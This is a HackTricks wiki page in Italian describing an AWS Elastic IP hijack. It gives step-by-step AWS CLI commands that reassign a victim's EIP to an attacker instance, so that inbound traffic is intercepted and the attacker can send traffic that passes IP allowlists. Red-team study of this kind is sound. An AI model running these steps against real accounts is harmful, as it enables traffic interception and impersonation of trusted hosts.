AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Reading time: 3 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Sommario

Abusa di ec2:AssociateAddress (e opzionalmente di ec2:DisassociateAddress) per riassegnare un Elastic IP (EIP) da un'istanza/ENI vittima a un'istanza/ENI dell'attaccante. Questo reindirizza il traffico in ingresso destinato all'EIP verso l'attaccante e permette anche all'attaccante di generare traffico in uscita con l'IP pubblico allowlisted per eludere i firewall dei partner esterni.

Prerequisiti

  • ID di allocazione (allocation ID) dell'EIP target nello stesso account/VPC.
  • Istanza/ENI dell'attaccante che controlli.
  • Permessi:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress sull'EIP allocation-id e sull'istanza/ENI dell'attaccante
  • ec2:DisassociateAddress (opzionale). Nota: --allow-reassociation dissocia automaticamente dall'allegato precedente.

Attacco

Variabili

bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. Assegnare o identificare l'EIP della vittima (il lab ne assegna uno nuovo e lo associa alla vittima)
bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Verificare che l'EIP risolva attualmente al servizio della vittima (ad esempio controllando un banner)
bash
curl -sS http://$EIP | grep -i victim
  1. Riassegnare l'EIP all'attaccante (si disassocia automaticamente dalla vittima)
bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Verifica che l'EIP ora risolva verso l'attacker service
bash
sleep 5; curl -sS http://$EIP | grep -i attacker

Evidenza (associazione spostata):

bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Impatto

  • Inbound impersonation: Tutto il traffico diretto all'hijacked EIP viene recapitato all'istanza/ENI dell'attacker.
  • Outbound impersonation: Attacker può iniziare traffico che sembra provenire dall'allowlisted public IP (utile per bypassare i filtri IP di partner/sorgenti esterne).

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks